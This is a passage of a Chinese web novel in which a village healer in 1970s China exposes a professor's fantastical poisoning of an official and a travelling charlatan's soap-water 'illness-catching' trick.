她的目光,越过众人,望向那栋被封得严严实实的小楼。 “你的无知,正在浪费病人的时间。” 她淡淡地扫了那位孙教授一眼。 “带我去看病人。” 孙教授被她这态度噎了一下,冷哼一声,拂袖而去。 “姜同志,这边请!” 自从上次一事,王建国对姜芷的崇拜,已经到了盲目的地步,连忙殷勤地在前面带路。 一群人,簇拥着姜芷,快步走上二楼。 刚到楼梯口,一股浓郁的奇异甜香,就扑面而来。 闻到这股味道,姜芷的脚步,微微一顿。 就是它。 越往里走,香味越浓。 走到最里面一间房的门口,那香味钻进鼻腔,让人阵阵发晕。 房门紧闭,所有缝隙都被棉布和报纸塞得死死的。 “开门。” “是!” 门锁“咔哒”一声被打开。 一股更加浓烈甜腻的香气,从门缝里冲了出来! 所有人,包括王建国,都下意识地后退一步,死死屏住呼吸。 只有姜芷,不退反进。 她站在门口,深深地吸了一口气,神色凝重。 “所有人都退后。” “没有我的允许,谁也不准进来。” 她回头,丢下这句话,不等众人反应,就独自一人,走进了那片黑暗。 “砰。” 房门,被她从里面关上了。 门外,孙教授和王建国等人,面面相觑,心都提到了嗓子眼。 屋内,一片死寂。 只有角落的床上,传来一阵阵粗重而痛苦的喘息。 姜芷站在原地,让眼睛适应了黑暗。 她没有走向病床。 而是循着那股香气的源头,一步步走向被窗帘封死的窗台。 她伸出手,在窗台上来回摸索。 第31章 神乎其技的血色小花 昏暗的火光在房间里摇曳,将床上那人惨不忍睹的轮廓映照得愈发扭曲。 “毒……” 他转动着浑浊的眼珠,说不出话来。 姜芷手中的火柴即将燃尽。 她没有再点燃第二根,任由那点微光熄灭,随手将火柴梗抛在地上。 “你中的毒,叫‘鬼闻香’。” “这种东西,遇风而长,见光而枯,散发出的香气,便是它的毒。” “它的孢子,会附着在衣物上,被带到任何地方,只要环境合适,就会重新生长,杀人于无形。” 床上的人,瞳孔猛地一缩! 显然,他听懂了。 “你再好好想一想,去黑风岭,是谁提议的?” “回来之后,又是谁,第一个靠近你?” “又是谁,送了你一盆……长得不怎么起眼,但香气却异常霸道的盆栽?” “那盆栽,恐怕已经被处理掉了。但给你送东西的人,一定还在。” 说完,姜芷不再多言。 她转身,拉开房门。 “哗——” 门外的光线涌入,让屋内的人下意识地发出一声痛苦的呻吟。 门外。 王建国、孙教授,还有一群干部,个个伸长了脖子,焦急等待。 看见姜芷出来,王建国第一个冲了上去。 “姜……姜同志!怎么样?曹主任他……” 他的话还没说完,就被姜芷打断。 “这不是病。” 姜芷环视一圈,目光最终落在那位满脸不屑的孙教授脸上。 “是中毒。” “蓄意谋杀。” 这四个字,可要比寒冬的北风还要刺骨! 所有人都懵了! 谋杀?! 他们请遍了全省的专家,动用了最好的仪器,最后的结论,是罕见的病毒感染! 这个乡下来的黄毛丫头,进去不到十分钟,就敢断言是谋杀? 简直是天大的笑话! “胡说八道!” 孙教授的脸瞬间涨红,他猛地一拍大腿,指着姜芷的鼻子破口大骂。 “你个小丫头片子,懂什么叫医学吗?!” “还中毒?还谋杀?我看你是封建迷信的话本小说看多了吧!” “我告诉你!我们专家组经过严密会诊,已经初步确定,这是由一种未知病毒引起的急性皮肤和神经系统综合征!” “你在这里妖言惑众,扰乱视听,安的什么心?!” “孙教授!”王建国急了,挡在姜芷面前。 “姜同志的医术,不是您能想象的!她说中毒,就一定是中毒!” “你!”孙教授气得直哆嗦,“王建国!我看你也是昏了头了!居然相信一个赤脚医生的一面之词!” “我是不是昏了头,您很快就知道了。” 姜芷从王建国身后走了出来,脸色平静。 “病毒?” 她忽然轻笑一声,带着三分讥诮,七分悲悯。 “孙教授,我请教一下,哪一种病毒,是自带香气的?” 孙教授一噎。 “那……那可能是曹主任身体组织在病变过程中,产生的特殊化学气味!”他强行辩解。 “哦?”姜芷挑了挑眉,“那又请问,哪一种病毒,需要用‘血灵芝’的粉末,才能中和掉它的‘气味’?” 血灵芝? 王建国倒吸一口凉气。 那可是传说中的圣药,只在古籍里有记载的宝贝! 他猛地看向姜芷,满眼崇拜。 连这种传说中的东西,她都有! 孙教授听得眼神微变,随后怒斥:“一派胡言!我行医三十年,闻所未闻!” “你没听过,不代表它不存在。” 姜芷懒得再跟他废话。 她从帆布药包里,摸出那个小巧的银针包。 “既然孙教授不信,那就用事实说话。” 她捏起一根银针,在众人面前轻轻一晃。 “这毒,叫鬼闻香。香气入体,腐蚀气血。所以,病人的血液里,必然带有这种毒素。” “现在,我就让你们亲眼看看,这‘毒’,到底长什么样。” 她话音刚落,孙教授就失声尖叫起来。 “不行!绝对不行!” “曹主任现在的情况,经不起任何折腾。万一引发细菌感染,谁来负责?” “我负责。” 姜芷瞥了他一眼,转身,重新走进黑屋子。 王建国守在门口,拦住任何想进去的人,他现在对姜芷,有着盲目的信任。 屋内。 姜芷走到床边,在那人枯瘦的手腕上找到脉搏。 银针刺入。 稳、准、轻。 一滴暗红发黑的血珠,缓缓从针孔里渗了出来。 诡异的是,这滴血珠,并未滴落。 它在银针皮肤表面,慢慢地凝结成了一朵极小的五瓣花形状! 妖异而瑰丽。 姜芷面无表情,捏着银针,退出了房间。 她走到走廊的光亮处,将那根带着血珠的银针,举到所有人眼前。 “孙教授,请看。” “这就是你口中,所谓的‘病毒’。” 所有人的目光,都聚焦在那根银针上。 当他们看清针尖上那朵血色小花时,每个人都难以置信。 血液……怎么可能凝结成花的形状?! 这完全违背了科学常识! “不……不可能……” 孙教授脸色煞白,下意识后退了两步。 王建国走上前,想去触碰那滴血珠。 “别碰。”姜芷冷冷提醒,“这东西,沾上就甩不掉。” 王建国的手,僵在了半空中。 “神乎其技啊……” 走廊里的干部,一个个焦急恳求。 “姜……姜神医!” “求您!求您救救曹主任!” 姜芷微微蹙眉:“救人可以。” “但要找到那个下毒的人。” “鬼闻香,不止一份。今天你们能找到我,是他的运气。” “下毒的人不找出来,在场的各位,谁也不知道,下一个躺进去的,会是谁。” 这话一出,在场所有干部,后背发凉。 就在这时,一个穿着白大褂的年轻护士,慌慌张张地从房间里跑了出来。 “不好了!不好了!” “曹主任……刚刚醒了一下!” “他……他好像在叫一个名字!” “什么名字?!”王建国急忙追问。 小护士喘着粗气。 “他一直在喊……” “小……小周……” 护士的话,让整个走廊炸开了锅! “小周?哪个小周?!” “是曹主任的司机小周,还是秘书小周?!” 地中海干部猛地回头,压着嗓子低吼:“把所有姓周的,最近跟曹主任接触过的人,立刻控制起来!单独审问!” 一时间,整个招待所鸡飞狗跳,脚步声、喊叫声乱成一团。 只有三个人,还钉在原地。 王建国是彻底被那朵血色小花,抽走了魂。 孙教授嘴里还不停地念叨着:“不可能……这不科学……这绝对是障眼法……血液凝固异常……” 姜芷收回银针,用一块干净的布,擦拭着针身。 “胡闹!简直是胡闹!” 孙教授终于从巨大的冲击中回过神,他指着姜芷,声色俱厉。 “人命关天!你们居然信一个黄毛丫头搞封建迷信!这是在谋杀!” “孙教授!”王建国忍不了。 “事实都摆在您眼前了!那朵血花您是没看见,还是不想承认?” “都这个时候了,您还抱着那几本西医的破书不放吗?人命关天!您那套理论,能救命吗?!” “你……你……” 孙教授气得嘴唇发紫,指着王建国,半天说不出一句话来。 他一辈子站在医学金字塔尖,受人敬仰,何曾被一个晚辈,如此当面顶撞? “行了。” “现在不是争吵的时候。” 姜芷淡淡开口。 “人,我能救。” “但是,还差一味药引。” “什……什么药引?”地中海干部三步并作两步冲过来,连忙追问,“上天入地,我们都给您找来!” “毒蛇出没之处,七步之内,必有解药。”姜芷解释,“这‘鬼闻香’也一样,解药,就在它毒源的身上。” “把病人从黑风岭带回来的所有东西,都拿过来给我。” 命令一下,没人再有异议。 很快,一个贴着封条的大木箱,被两个警卫员小心翼翼地抬了过来。 第32章 倒也不必如此 “你……你胡说!血口喷人!” 孙教授的脸,瞬间没了血色,强装镇定。 “我这是前几天不小心划伤的!你……你少在这里妖言惑众!” “划伤的?”姜芷轻笑。 “孙教授,普通的划伤,可不会是这个颜色。” “鬼闻香的伴生藤,叫‘乌血藤’。它的汁液,一旦沾染皮肤,就会留下这种洗不掉的印记。” “而且,”姜芷似笑非笑地盯着他,“这东西,会散发出一种极淡的,泥土和腐烂树叶混合的味道。” “普通人闻不到。” “但我,闻得到。” 她说完,松开了手。 孙教授把手缩回背后,眼神躲闪。 “疯子!你就是个疯子!” 他还在嘴硬,试图用咆哮来掩盖自己的心虚。 “我堂堂一个医学教授,省里来的专家,我会去碰那种不干不净的东西?你这是污蔑!是赤裸裸的陷害!” “是不是陷害,试一试,不就知道了?” 姜芷不理会他的咆哮,再度端起那碗黑漆漆的水,走到了那个被吓得瘫软在地的周秘书面前。 “周秘书,是吧?” 周文耀抖抖索索点头。 “神……神医……真的不是我……” “我知道不是你。” 姜芷把那碗水,递到了他的面前。 “现在,我要你帮我一个忙。” 她从自己的药包里,又拿出一块干净的白棉布。 她将棉布的一角,浸入了那碗黑水中。 白色的棉布,瞬间被染黑了一小块。 “拿着,”她把棉布递给周文耀,“去,擦一擦孙教授的手。” 什么?! 让一个嫌疑人,去验证另一个德高望重的专家? 这……这是什么操作? 周文耀也愣住了,手里捏着那块散发着异味的黑布,进退两难。 “去啊!”王建国在一旁急得跺脚,大声催促,“姜神医让你去,你就去!这是你证明清白的唯一机会!”“ 周文耀被他一吼,浑身一激灵。 对啊! 是死是活,是清白是冤屈,全在此一举了! 他咬了咬牙,从地上一骨碌爬起来,捏着那块黑布,壮着胆子,就朝着孙教授走了过去。 “你……你别过来!”孙教授彻底慌了,连连后退,“你敢碰我一下试试!我是省里的专家!你们……” 他的话还没说完,周文耀已经豁出去了! 一个箭步冲上去,也顾不上什么专家不专家了,一把拽出孙教授藏在身后的手,拿着那块黑布,就往那道乌黑的划痕上,狠狠一擦! “刺啦——” 一声轻响。 紧接着,让所有人头皮发麻的一幕发生了! 只见孙教授的手背上,那道原本乌黑的划痕,飞快褪去,变成了翠绿色。 绿得发亮,绿得妖异,就像是毒蛇的鳞片。 “天呐!变色了!” “这...这是什么妖法?” 走廊里,所有人目瞪口呆。 “噗通!” 孙教授双腿一软,瘫坐在地,眼神涣散,嘴里不停地念叨着。 “不可能……不可能的……我明明用药水洗了三天……为什么还会这样……” 完了。 一切都完了。 “为什么?” 地中海干部脸色铁青,上前一步,看着孙教授,寒声问他:“孙教授,你和曹主任,到底有什么深仇大恨?!” “为什么?” 孙教授抬起头,突然神经质地笑了起来。 “哈哈哈哈!你问我为什么?!” “因为他该死!” 他从地上爬起来,指着病房的门咆哮! “那个老东西!他偷了我的研究成果!那是能改变国内整个神经外科格局的成果!是我熬了整整十年的心血!” “可他呢?就因为他是领导,他官大!轻飘飘的一句话,把我的名字,从项目负责人上抹掉了!” “十年!我十年的心血!就这么成了他向上爬的垫脚石!凭什么?!啊?!你告诉我凭什么?!” “我恨啊!我恨不得吃他的肉,喝他的血!” “黑风岭那盆‘鬼闻香’,是我托人从山里挖出来的!我就是想让他尝尝,什么叫生不如死的滋味!我没想让他死!我只想让他一辈子都活在黑暗和痛苦里!就像我一样!” 原来,一切的根源,竟是如此。 “带走!” 地中海干部闭上眼,挥了挥手。 两个警卫员立刻上前,一左一右,架起孙教授,将他拖走。 一场惊心动魄的谋杀案,就这样,以所有人都没想到的方式,迅速落幕。 地中海干部走到姜芷面前,深深地鞠了一躬。 “姜神医,之前是我有眼不识泰山,冒犯了您。还请您不要见怪。” 一旁的王建国更是激动地满脸通红,看着姜芷的眼神,充满了狂热的崇拜。 姜芷轻轻摆了摆手。 “人,还没救呢。” 对她而言,抓凶手,只是顺手而为。 救病人,才是她的本职。 说完,她端起那碗水,推开门准备走进去。 王建国心痒难耐,搓着手跟上去:“姜神医,我……我可以跟您一起进去学习吗?” 姜芷淡淡瞥了他一眼,点了点头。 王建国大喜过望,连忙接过姜芷手里的那碗水,屁颠屁颠地跟了进去。 门,“砰”的一声关上。 黑暗的房间里,只剩下时断时续的呼吸声。 两人走到床边。 “把这碗水,喂他喝下去。” 王建国小心翼翼地扶起那个奄奄一息的人,让他靠在自己的臂弯里,一勺一勺地,将那碗黑水全部喂了下去。 喂完药,他将病人重新放平。 “走吧。”姜芷转身。 “啊?”王建国愣住了,“这……这就没了?” 他还眼巴巴地准备再次见识姜芷那神乎其技的针灸术。 “毒已经解了,睡一觉,明天早上就能醒。” 姜芷丢下一句,径直走出房间。 “你想陪着他?随你。” 王建国哪里还顾得上病人,连忙起身,紧紧跟了出去。 出来后,王建国将情况跟外面的干部们一说。 周围的干部们,个个激动得满脸通红,看姜芷的眼神,跟看活菩萨没什么两样。 地中海干部更是深吸了好几口气,才勉强压下心头的狂喜和震惊。 他快步走进病房,其他人也呼啦啦跟了进去。 只看了一眼,所有人都呆住了。 房间里那股甜腻的香气,已经彻底消失。 床上,原本面容扭曲的曹主任,正安详地躺着。 虽然消瘦,五官已经没有痛苦,呼吸平稳悠长,就像是睡着了。 神迹! 这他娘的,不是神迹是什么?! “神医!真正的神医啊!” 地中海干部激动得浑身发抖。 “姜神医!” “您……您就是我们全省人民的大救星啊!” “您说!您要什么奖励!只要我们能办到的,绝不推辞!” “给您在县里安排工作怎么样?县医院院长的位置,您来坐!” 院长?! 王建国眼睛都直了! 这可是一步登天啊! “不不不!”旁边一个干部连忙补充,“县院长太屈才了!应该去省里!省人民医院!我跟那边的院长熟!只要姜神医点头,我立马去办!” “光给职位怎么行?还得给房子!给车!城里最好的小洋楼,配上司机!以后姜神医出门,都不用自己走路!” “还有户口!把您和您家人的户口,都迁到城里来!吃商品粮!” …… 一时间,各种在七十年代堪称是王炸级别的奖励,一个个地从这些领导干部的嘴里蹦出来。 每一个,都足以让普通人奋斗好几辈子 姜芷全程面无表情,默默打了个哈欠。 好困。 忙碌了大半夜。 她只想回家睡觉。 这一哈欠,把所有人的热情都给浇得降了温。 大家面面相觑,有点懵。 这小神医,怎么一点反应都没有? 是嫌奖励不够好? 地中海干部试探着问:“姜神医,您……您是不是不满意?” 姜芷终于有了点反应,抬头认真地想了想。 “这些都不要。” “我只想回家。” “还有……” “你们来的时候,那辆小汽车,把我们村口的路压坏了几个坑。” “能不能,帮忙填一下?” “……” “……” 整个走廊,瞬间寂静。 第33章 清水捉病 这些吃商品粮的领导干部,向来说一不二,效率惊人。 第二天,一份盖着鲜红大印的正式文件,就从县里直接下达到了公社。 当公社的陈支书拿到那份关于“加急修建红星大队公路”的文件时,手都抖了。 他把那几页纸翻来覆去看了三遍,每一个字都认识,合在一起却感觉像在做梦。 修路? 还是从县城直通红星大队的柏油马路?! 文件末尾还特地加了一句批示:此路为表彰先进个人,弘扬无私精神,应命名为“神医路”! 陈支书的眼珠子都快瞪出来了,他狠狠掐了自己大腿一把,疼得龇牙咧嘴。 不是梦! 他抓起电话,摇了半天,声音都变了调。 “喂?!赵大山吗?!你个老小子赶紧滚到公社来!天大的好事!” 赵大山还以为出了什么事,骑着他那辆二八大杠,一路火花带闪电地冲到公社,刚进门就被陈支书一把拽住。 “大山!咱们……咱们红星大队,要出金凤凰了!” 陈支书激动得满脸通红,把文件拍在他胸口。 “你自己看!” 赵大山一字一句地读完,整个人都傻了。 他张着嘴,半天没合上。 “这……这……就因为姜丫头提了一嘴村口的路有坑?” “可不是嘛!”陈支书一拍大腿,“你看看人家这觉悟!人家这境界!什么叫活菩萨?这就是活菩萨啊!” 赵大山拿着那份文件,感觉比一百斤粮食还沉。 他二话不说,揣着文件就往回跑。 当天下午,红星大队打谷场上,全村老少爷们都聚集了起来。 “开会!开大会!” 赵大山站在一张八仙桌上,清了清嗓子,声音传遍整个打谷场。 “乡亲们!我宣布一个天大的好消息!” “经过上级领导的亲切关怀,和咱们大队姜芷同志的无私奉献!县里决定,要给咱们村修一条柏油马路!” 这话一出,底下瞬间炸开了锅。 “啥?修路?我没听错吧?” “柏油马路?就是城里那种黑乎乎,汽车跑上去一点不颠的大路?” “我的亲娘!那得花多少钱?县里白给?!” 赵大山得意地挺起胸膛,把那份文件高高举起。 “不光修路!这条路,以后就叫‘神医路’!是专门表彰咱们姜芷同志的!” 人群彻底疯了,沸腾了! “姜丫头!咱们的活财神啊!” “跟着沾了大光了!” “以后去县里,再也不用走那一脚泥的破路了!” 整个打谷场都沉浸在狂欢里,唯独姜家老宅那几口人,脸色比锅底还黑。 而这场风暴的中心,姜芷,正和母亲赵秀娥坐在自家小院里,处理着刚采回来的草药。 赵秀娥听着外面的动静,脸上与有荣焉,手上的活计却没停。 “小芷,你听,全村人都在夸你呢。” “嗯。”姜芷头也没抬,将一株草药的根须分离出来,“妈,这活血藤得用瓦片焙干,文火慢烤,您记着点。” 对她而言,修路也好,夸赞也罢,远不如眼前这株草药来得实在。 不远处的猪圈旁,姜巧巧躲在墙角,将这一切听得清清楚楚。 村民们每一句对姜芷的赞美,都像一根针,狠狠扎在她心上。 凭什么那个扫把星能这么风光? 她不就是会几个破方子吗? 自己因为那点破事,在村里连头都抬不起来,之前上门提亲的媒婆,现在见了她都绕道走。 再这样下去,她这辈子都毁了! 不行! 她不能就这么认输! 姜芷会医术,她也去学!她就不信了,自己比那个小贱人差! 就在她琢磨着怎么才能压过姜芷一头的时候,机会,说来就来。 没过几天,村里来了一个走街串巷的“赤脚医生”。 这人姓黄,四十来岁,留着两撇山羊胡,一双眼睛滴溜溜乱转,透着一股子精明和油滑。 他不像姜芷那么安静,一进村就敲着个破铜锣,扯着嗓子喊: “瞧一瞧,看一看啊!祖传神医,包治百病!腰疼腿软,头昏眼花,小儿夜啼,专治各种疑难杂症!药到病除,无效不要钱嘞!” 这阵仗,立马吸引了不少爱看热闹的村民。 “吹牛吧你?还包治百病?”有人不信。 黄医生嘿嘿一笑,从背着的药箱里摸出一只碗,舀了半碗清水。 “老乡,我看你印堂发黑,最近是不是总觉得身上不得劲,晚上还睡不着?”他指着一个面色发黄的汉子说。 那汉子大吃一惊:“你咋知道的?” “我这双招子,能看透阴阳,你身上的病根,我一眼就能瞧出来!”黄医生说得神神叨叨,“你这是被‘病气’缠身了!来,我给你捉出来!” 说着,他将那碗清水递到汉子面前,嘴里念念有词,手指在碗上空画了几道符。 然后,他猛地一拍汉子的后背! “疾!” 众人伸长了脖子去看。 诡异的一幕发生了! 那碗原本清澈见底的水,竟然瞬间变得浑浊不堪,像是滴进了墨汁一样! “我的老天爷!” “这……这水咋黑了?” “看见没!这就是你身上的病气!” 黄医生得意洋洋地端着碗,“现在被我捉出来了,你回去睡一觉,保准生龙活虎!” 那汉子半信半疑,但看着那碗黑水,心里也发毛,连连道谢。 黄医生这一手,镇住了不少村民。 太神了! 这可比姜芷那种熬草药,扎针来得快多了! 躲在人群后的姜巧巧,眼睛一下子就亮了! 对! 就是这个! 这才是真本事!什么草药针灸,哪有这个来得立竿见影? 要是自己学会了这一手,还愁压不过姜芷? 她当即就下了决心,挤出人群,脸上堆满了谦卑讨好。 “黄医生!黄神医!” 她小跑到黄医生面前,殷勤地喊着。 黄医生瞥了她一眼,看她虽然面黄肌瘦,但眉眼间有几分姿色,便停下了脚步。 “姑娘,有事?” “神医,您渴了吧?我给您倒碗水去!” 姜巧巧转身就跑回家,端来一碗加了糖的温水,双手捧着递过去。 “神医,您喝水。” 黄医生呷了一口,满意地点点头。 从那天起,姜巧巧就像个跟屁虫,天天跟在黄医生屁股后面。 黄医生走到哪,她就跟到哪。 端茶倒水,捶背捏肩,比对自己亲爹还孝顺。 “黄神医,您那手‘清水捉病’的绝活,能不能教教我啊?” 这天,姜巧巧又给黄医生递上一块擦汗的毛巾,终于忍不住开口了。 黄医生眯着眼,打量着她。 “我这可是祖传的本事,传男不传女,传内不传外。” 姜巧巧一听就急了,扑通一下就跪在了地上。 “师傅!您就收下我吧!” “只要您肯教我,您让我干什么都行!” 黄医生看着跪在地上,满脸祈求的姜巧巧,意味深长的笑了。 送上门的肥肉,不吃白不吃。 他慢悠悠地扶起姜巧巧,一脸高深莫测。 “也罢,看你心诚,为师就破例收下你。” “不过……”他话锋一转,声音压低,“这门手艺,金贵得很。拜师嘛,总得有点诚意……” 他的目光,意有所指地瞟向了姜巧巧的衣兜。 “姑娘啊,我这门手艺,那可是太上老君梦里传下来的,金贵着呢。” 黄医生眯着眼,两撇山羊胡一抖一抖。 “拜师,讲究的是一个‘缘’字,一个‘诚’字。” “这诚意嘛……不是为师我贪财,主要是得敬告祖师爷,说有个有缘人要入我门墙了,得烧点高香,供奉点香火钱,您说是不是这个理儿?” 姜巧巧一听就明白了。 这是要钱! 她心里咯噔一下。 钱? 她哪里有钱? 自从上次被罚扫猪圈,她在家里就成了过街老鼠。 王桂香看见她都恨不得啐一口,别说给钱了,能让她吃饱饭都算开恩了。 可眼看着一步登天的机会就在眼前,难道要就这么放弃? 一想到姜芷以后住着村里给盖的青砖大瓦房,走着以她名字命名的柏油路,全村人见了她都恨不得叫声“活菩萨”,姜巧巧的牙根都快咬碎了。 她没有钱,但她娘有! 王桂香这些年从姜芷母女那里克扣下来的钱,还有她爹姜为民偶尔寄回来的津贴。 她娘都跟宝贝似的,用手帕一层层包好,藏在炕头最里面的那个破瓦罐里! “师傅您放心!”姜巧巧猛地抬头,豁出去了。 “您的香火钱,徒儿我……我包了!” “我就是砸锅卖铁,也给您把这诚意备足了!” 黄医生见她这副模样,心里乐开了花。 上钩了! 这条主动凑上来的大肥羊,不宰白不宰! 他满意地点点头,掐着指头装模作样地算了一下。 “嗯……看你与我这门道有缘,为师就给你打个折。” “二十块钱!” 黄医生伸出两根手指。 “拿出二十块钱的诚意,明日一早,为师就在村头那棵老槐树下,把这‘清水捉病’的独门绝技,传给你!” 二十块! 姜巧巧的心脏狠狠抽了一下。 第34章 肥羊上门,不宰白不宰 当天夜里,万籁俱寂。 姜家老宅的西屋里,传来了王桂香的鼾声。 一道黑影,从床上悄无声息地滑了下来。 姜巧巧赤着脚,踩在地上,连大气都不敢喘。 她的心,跳得跟打鼓一样。 她猫着腰,一步一步地挪到炕头。 王桂香睡觉不老实,一条腿还搭在外面,嘴里嘟嘟囔囔地骂着:“小贱人……扫把星……” 姜巧巧吓得一哆嗦,差点叫出声来。 等了好半天,确定她娘只是在说梦话,这才颤抖着手,伸向了炕头最里面的那个瓦罐。 罐子口用一块破布堵着。 姜巧巧小心翼翼地把布抠出来,手伸了进去。 触碰到了一个用手帕包着的东西。 就是它! 姜巧巧心里一阵狂喜,飞快地把那包钱掏出来,也顾不上看有多少,直接塞进了自己怀里。 然后,她又把破布塞回罐子口,原样放好。 做完这一切,她感觉自己后背的衣裳都湿透了。 她蹑手蹑脚地溜回自己的床,将那包钱死死地捂在胸口。 隔着一层布料,她都能感觉到那些票子的硬度和温度。 这是她翻身的本钱! 是她把姜芷踩在脚下的希望! 她爹娘又怎么样?等她出人头地了,这点钱,她翻十倍还给他们! 对! 她这是在投资! 姜巧巧在心里一遍遍地告诉自己,那点偷东西的心虚,渐渐被压了下去。 第二天,天刚蒙蒙亮。 姜巧巧揣着那二十块钱,鬼鬼祟祟地溜到了村头的老槐树下。 黄医生早就在那等着了。 他接过姜巧巧用手帕包着的钱,一张一张地点了数,确认无误后,脸上的笑容才真诚了几分。 “不错,不错,孺子可教也。” 他把钱塞进自己怀里,清了清嗓子。 “徒儿,看好了!这门绝技,为师只教一遍!” 他从路边随手摘了一片树叶,又变戏法似的,从指甲缝里抠出一点点白色的粉末,捻在树叶上。 “此乃‘问病神粉’,乃天山雪莲、千年人参等九九八十一种名贵药材,炼制七七四十九天而成。” 他把那片带着粉末的树叶,递给姜巧巧。 “你只需将此神粉,悄无声息地弹入水中,再口念为师传你的咒语,拍打病人后心,那病人体内的病气,自然就会被吸入水中,无所遁形!” 姜巧巧听得一愣一愣的。 这么简单? 她还以为有什么高深的法门呢。 “师傅,那……那咒语是?” “咒语就是,”黄医生压低了声音,神神秘秘地说,“天灵灵,地灵灵,妖魔鬼怪快显形!” 姜巧巧:“……” 这咒语,怎么听着跟村里小孩玩游戏时喊的一样? 黄医生看出了她的疑惑,眼睛一瞪。 “你懂什么!大道至简!越是简单的咒语,越是蕴含天地至理!” “你记住了,施法时,气势一定要足!眼神一定要唬人!要让对方相信,你不是你,你是神仙下凡!” “这门手艺,七分靠药,三分靠演!” “去吧,找只鸡试试手!” 黄医生说完,打发了姜巧巧,自己则哼着小曲,溜达着找地方吃早饭去了。 姜巧巧捏着那片金贵的树叶,将信将疑地回到家。 她瞅准了院子里正在啄米的一只老母鸡。 她深吸一口气,回想着黄医生的话,气势! 要拿出神仙下凡的气势! 她端来一碗清水,放在地上。 然后,她把那点白色粉末弹进水里,学着黄医生的样子,手指在碗上空画来画去。 “天灵灵,地灵灵!” 她压着嗓子,低吼一声。 那只老母鸡被她吓了一跳,咯咯哒地就要跑。 姜巧巧眼疾手快,一把冲上去,对着鸡屁股就是一巴掌! “妖魔鬼怪快显形!” 她猛地回头,看向那碗水。 下一秒,她的眼睛,瞬间瞪圆了。 那碗清亮的水,真的变浑浊了! 虽然不如黄医生弄出来的那么黑,但确实变得灰蒙蒙的,像是蒙上了一层雾。 成了! 真的成了! 姜巧巧激动得浑身发抖。 她成功了! 她也是神医了! 巨大的狂喜冲昏了她的头脑,她仿佛已经看到,自己站在全村人面前,用这一手绝活,把姜芷衬托得像个跳梁小丑。 她仿佛已经听到,村民们对她顶礼膜拜,高呼“姜神医”! 而就在姜巧巧沉浸在自己成为“神医”的幻想中时。 村东头,为姜芷家新盖的青砖大瓦房,已经打好了地基。 修路的勘探队也开进了村子,在赵大山的陪同下,一路测量规划。 姜芷正站在旁边,看着那些忙碌的工人,手里还端着一碗刚熬好的绿豆汤。 一个负责测量的年轻技术员,满头大汗地走过来,想问点事情,结果脚下一软,差点摔倒。 “小同志,你这是中暑了。” 姜芷把手里的碗递了过去。 “喝了它。” 那技术员晕晕乎乎的,接过来就一饮而尽。 清凉甘甜的绿豆汤下肚,一股凉气从喉咙窜到天灵盖,他瞬间就感觉神清气爽,脑子也不昏了。 “哎!谢谢你啊,女同志!你这绿豆汤……咋这么管用?” 姜芷淡淡一笑。 “里面加了点薄荷和金银花。” 平平无奇的一句话。 却让旁边的赵大山,挺起了胸膛。 瞧见没? 这才是真本事! 润物细无声,处处显神通! 哪像村里那个新来的黄半仙,敲着个破锣,咋咋呼呼的,一看就是个江湖骗子。 赵大山正感慨着,就看见姜巧巧从老宅那边冲了出来。 她手里也端着一个碗,脸色亢奋,直奔勘探队这边而来。 她一眼就锁定了那个刚刚喝完绿豆汤,正对姜芷千恩万谢的技术员。 机会来了! “这位同志!” 姜巧巧高声叫道,把所有人的目光都吸引了过去。 “你别被骗了!中暑哪是喝点糖水就能好的?你那是中了暑气!是病气!” 她走到技术员面前,将手里的碗往地上一放,满脸得意。 “你等着,我这就给你把病气抓出来,让你开开眼!” 第35章 肥皂水糊人,你管这个叫仙法? 说完,姜巧巧深吸一口气,学着黄医生的样子,摆出一副高人降世的架势。 那年轻技术员一脸发懵,看看神色平淡的姜芷,又看看眼前这个状若癫狂的姜巧巧,不知所措。 “女同志,我……我真的感觉好多了。” “那是假象!是你的身体在骗你!” 姜巧巧打断他,不给任何人反驳的机会。 她将那片藏在手心的树叶,用指甲飞快地将上面的白色粉末弹进碗里。 然后,她清了清嗓子,手指在碗上空胡乱画着符咒。 “天灵灵,地灵灵!” 她掐着嗓子,声音又尖又细,听得人浑身直起鸡皮疙瘩。 周围看热闹的村民都看傻了。 这阵仗,怎么跟村里请大神跳脚一模一样? 只有姜芷,抱着手臂站在那儿,嘴角轻笑,就这么静静地看着。 “妖魔鬼怪快显形!” 姜巧巧猛然一声断喝,一个箭步冲到技术员面前,在他反应过来之前,对着他的后心,狠狠就是一巴掌! “啪!”一声脆响。 技术员被她拍得一个趔趄,差点一头栽在地上。 “你干什么!”他捂着火辣辣的后背,又惊又怒。 姜巧巧根本不理他,猛地转身,指向地上的那碗水。 “看!” “大家快看!” “病气!中暑的病气被我抓出来了!” 所有人的目光,齐刷刷地投向了那个豁口碗。 “我的老天爷!” “水……水真的变浑了!” 那碗原本清澈的井水,变得灰白浑浊,像是淘米水一样,底下还飘着一丝丝白色的絮状物。 这一手,可比姜芷那种需要熬药扎针的功夫,来得震撼太多了! 太神了! 不少村民看姜巧巧的眼神,瞬间就变了。 那个被拍了一巴掌的技术员,也顾不上疼了,凑过去,看着那碗浑水,不可思议。 姜巧巧得意到了极点。 她高高抬起下巴,眼角挑衅地瞥向姜芷。 看吧! 这才是真正的本事!你姜芷会什么?不就认识几个没人要的破草药吗? 我这可是请神上身的仙法! “怎么样?”她扬着眉,对那技术员说,“现在信了吧?你身上的暑气,全都被我收到这碗里了!喝姜芷那碗破糖水有什么用?治标不治本!” 一些脑子活泛的村民已经开始窃窃私语。 “好像……姜巧巧说的有点道理啊。” “这手功夫,亲眼看见的,确实厉害,做不得假。” 赵大山一张脸黑着,他一百个不信这些歪门邪道,但事实摆在眼前,他一时竟也说不出个所以然来。 “拿肥皂水糊弄人,你管这个叫仙法?” 就在姜巧巧享受着万众瞩目的高光时刻,姜芷带着几分玩味的声音,慢悠悠地飘了过来。 “你……你胡说八道些什么!” 姜巧巧心里猛地咯噔一下,瞬间炸毛。 “什么肥皂水?我这叫‘清水捉病’!是祖师爷下凡传下来的独门神技!” “哦?是吗?” 姜芷轻笑一声。 “你那个所谓的祖师爷,是不是还告诉你,‘清水捉病’要用‘神粉’,而那‘神粉’是天山雪莲、千年人参炼成的?” 姜巧巧整个人都僵住了。 这话……跟黄师傅说的一字不差!她怎么会知道?! “我看,你那师傅不姓黄,应该姓王吧?王婆卖瓜的王。” 姜芷走到那碗浑水边,蹲下身,用手指沾了一点水,放到鼻子下闻了闻。 “一股浓浓的碱味儿。” 她站起身,拍了拍手上的灰,目光扫过周围那些满脸困惑的村民。 “乡亲们,想不想也学学这门‘神技’?” “啥?芷丫头,这玩意儿咱也能学?”有人好奇地问。 “当然。” 